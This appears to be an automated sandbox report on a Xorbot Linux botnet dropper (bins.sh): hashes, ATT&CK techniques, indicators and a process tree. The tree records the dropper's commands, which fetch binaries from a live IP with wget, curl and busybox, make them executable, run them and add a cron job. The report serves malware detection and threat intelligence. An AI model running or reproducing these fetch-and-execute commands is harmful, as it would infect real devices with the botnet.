xorbot | eb54a15ecef183f0ba46588f13c75df0239a926cf1da6b250d1d66978e53e5d9

Analysis

max time kernel
123s
max time network
153s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30/11/2024, 09:12

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General

Target

bins.sh
Size

10KB
MD5

1eec8b924791416fd0d003d6fe8c75b1
SHA1

28d94b5fd6256a58a2706a2cafa995c79134f8b7
SHA256

eb54a15ecef183f0ba46588f13c75df0239a926cf1da6b250d1d66978e53e5d9
SHA512

29aefaae8864ccc9f62ed56590ee88389667cfd2d3e7f66e4b95e7ae96f7ac17636e5c82eec1ab51a3f3c889f2da670a3a3e141d76600ca8dc29f214f7744827
SSDEEP

192:b6JCklhxUMcZQlK28aqCaDnRqCaDnllhxUM+JCjK2A:bClhxUMcZQlK28aqCaDnRqCaDnllhxUL

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (796) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
736	chmod
743	chmod
799	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx	737	RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
/tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY	744	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
/tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN	800	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN

Renames itself 1 IoCs

pid	Process
801	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.jOCyTW	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/889/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/939/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/843/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/890/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/36/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/81/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/813/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/864/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/937/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/950/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/973/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/824/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/863/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/885/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/22/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/113/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/833/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/839/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/857/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/3/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/702/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/927/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/830/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/876/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/69/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/934/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/938/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/11/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/23/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/18/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/866/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/823/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/883/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/856/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/941/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/332/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/804/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/875/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/878/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/944/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/867/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/502/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/809/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/860/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/868/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/882/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/910/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/949/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/102/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/397/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/980/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/893/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/923/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/931/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/945/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/164/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/855/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/70/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/73/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/330/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
File opened for reading	/proc/812/cmdline	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
747	wget
748	curl
798	busybox
800	P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
807	rm

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY	wget
File opened for modification	/tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY	curl
File opened for modification	/tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY	busybox
File opened for modification	/tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN	wget
File opened for modification	/tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx	wget
File opened for modification	/tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx	curl
File opened for modification	/tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx	busybox
File opened for modification	/tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN	curl
File opened for modification	/tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:708
- /usr/bin/wget
  wget http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  - Writes file to tmp directory
  PID:713
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  ./RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  PID:739
- /usr/bin/wget
  wget http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  ./mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  PID:746
- /usr/bin/wget
  wget http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:798
- /bin/chmod
  chmod 777 P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
  ./P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:800
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:802
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:803
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:804
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:805
- /bin/rm
  rm P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
  2⤵
  - System Network Configuration Discovery
  PID:807
- /usr/bin/wget
  wget http://216.126.231.240/bins/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
  2⤵
  PID:891

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.jOCyTW

Filesize
210B

MD5
0e9e35859aa91a50d7699df8d191b3fc

SHA1
c090067bc3d01d61a93a66b760714ed08c738727

SHA256
13becb1192ddcd33f06dd7003eb557c7bab3dc151b3d3643d4eac3938738dba9

SHA512
25752c0a612b1ae0d30981c7cd6bd0866ebfcfa9c0961561c011534f7540b8e3dc08ccbb5a038dd0c48dee088ead82a1d83ab69647cd4066340bf405ff887c35

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads